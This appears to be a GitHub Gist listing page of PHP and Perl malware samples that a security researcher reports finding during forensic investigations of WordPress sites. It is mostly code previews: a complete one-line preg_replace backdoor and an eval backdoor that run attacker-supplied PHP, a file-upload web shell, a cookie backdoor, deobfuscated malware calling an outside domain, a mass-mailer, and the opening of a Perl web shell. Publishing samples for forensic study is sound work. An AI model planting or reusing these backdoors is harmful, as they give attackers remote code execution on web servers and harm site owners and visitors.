Jonas Lejon jonaslejon
jonaslejon
/ _input__test.php.
Created
October 10, 2017 18:58
WordPress backdoor found during forensic investigation of blog. Was located in folder wp-content/uploads/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * @package Joomla.Plugin.System | |
| * @since 1.5 | |
| * | |
| * | |
| */ | |
| class PluginJoomla { | |
| public function __construct() { | |
| $jq = @$_COOKIE['ContentJQ3']; |
jonaslejon
/ wp-blog-header.php
Last active
July 7, 2018 14:38
Malware found on WordPress installation. This is the deobfuscated version
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php @error_reporting(0); | |
| define('cdomainDosNZ', "ssl-backup24.com"); | |
| define('showop_phpDosNZ', "showop_click.php"); | |
| define('info_phpDosNZ', 'info.php'); | |
| if (array_key_exists('HTTP_TEST', $_SERVER)) { | |
| echo (md5("TEST2016_CLICK")); | |
| exit; | |
| } | |
| function fetch_urlDosNZ($url, $data) { | |
| $content = ''; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $self = $_SERVER['PHP_SELF']; | |
| $docr = $_SERVER['DOCUMENT_ROOT']; | |
| $sern = $_SERVER['SERVER_NAME']; | |
| $tend = "</tr></form></table><br><br><br><br>"; | |
| if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} | |
| elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} | |
| else {$ac = "upload";} | |
| switch($ac) { | |
| case "upload": |
jonaslejon
/ php-preg-replace-backdoor.php
Created
February 10, 2016 20:11
Short PHP backdoor using preg_replace. Found during forensic investigation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php @preg_replace('/(.*)/e', @$_POST['cgrycynqatjstuh'], ''); |
jonaslejon
/ PHP-cookie-backdoor.php
Last active
February 27, 2023 05:10
This is a PHP COOKIE backdoor that was found during a forensic investigation
jonaslejon
/ web-backdoor.php
Created
January 11, 2016 17:01
Web PHP Malware found during forensic investigation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| eval("if(isset(\$_REQUEST['ch']) && (md5(\$_REQUEST['ch']) == '5d5780065f278a2db819916c4b525671') && isset(\$_REQUEST['php_code'])) { eval(\$_REQUEST['php_code']); exit(); }")% |
jonaslejon
/ php-upload.php
Created
January 8, 2016 12:15
PHP file upload backdoor found during forensic investigation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| ini_set('display_errors','Off'); | |
| error_reporting('E_ALL'); | |
| $multipart = "236c985403e7e1"; | |
| $part = "450be30e0288de41b6"; | |
| if (md5($_POST['multipart'])==$multipart.$part){ | |
| echo ' | |
| <div align="left"> | |
| <font size="1">:</font> | |
| </div> |
jonaslejon
/ php-backdoor.php
Created
January 8, 2016 12:11
PHP Backdoor found during forensic investigation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function is_valid_url(&$url) | |
| { | |
| if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m)) | |
| return false; | |
| $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6]; | |
| return true; | |
| } |
jonaslejon
/ wp-mailer-malware.php
Created
December 11, 2015 15:48
Mass mailing malware found in WordPress installation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @ini_set('error_log', NULL); | |
| @ini_set('log_errors', 0); | |
| @ini_set('max_execution_time', 0); | |
| @set_time_limit(0); | |
| if(isset($_SERVER)) | |
| { | |
| $_SERVER['PHP_SELF'] = "/"; | |
| $_SERVER['REMOTE_ADDR'] = "127.0.0.1"; | |
| if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/perl | |
| #PPS 3.0 shell by Pashkela [RDOT.ORG] © 2012 | |
| $Password="bb09c55983ff49f3a9cdfd83f08e5689";# root | |
| $CommandTimeoutDuration=30;# max time of command execution | |
| $tab='<table>';$tbb="<table width=100%";$verd="<font face=Verdana size=1>";$tabe='</table>';$div='<div class=content><pre class=ml1>';$dive='</pre></div>';use Digest::MD5 qw(md5_hex | |
| );$WinNT=0;$NTCmdSep="&";$UnixCmdSep=";";$ShowDynamicOutput=1;$CmdSep=($WinNT?$NTCmdSep:$UnixCmdSep);$CmdPwd=($WinNT?"cd":"pwd");$PathSep=($WinNT?"\\":"/");$Redirector=($WinNT?" 2>& | |
| 1 1>&2":" 1>&1 2>&1");$LogFlag=false;use File::Basename;use MIME::Base64;my @last:shared;sub cod($){my $url=~s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;$url=encode_base64($_[0]);return | |
| $url;}sub dec($){ my $url1=decode_base64($_[0]);return $url1;}sub ReadParse {local (*in)=@_ if @_;local($i,$loc,$key,$val);$MultipartFormData=$ENV{'CONTENT_TYPE'}=~/multipart\/form | |
| -data; boundary=(.+)$/;if($ENV{'REQUEST_METHOD'} eq "GET"){$in=$ENV{'QUERY_STRING'};}elsif($ENV{'REQUEST_METHOD'} eq "POST") |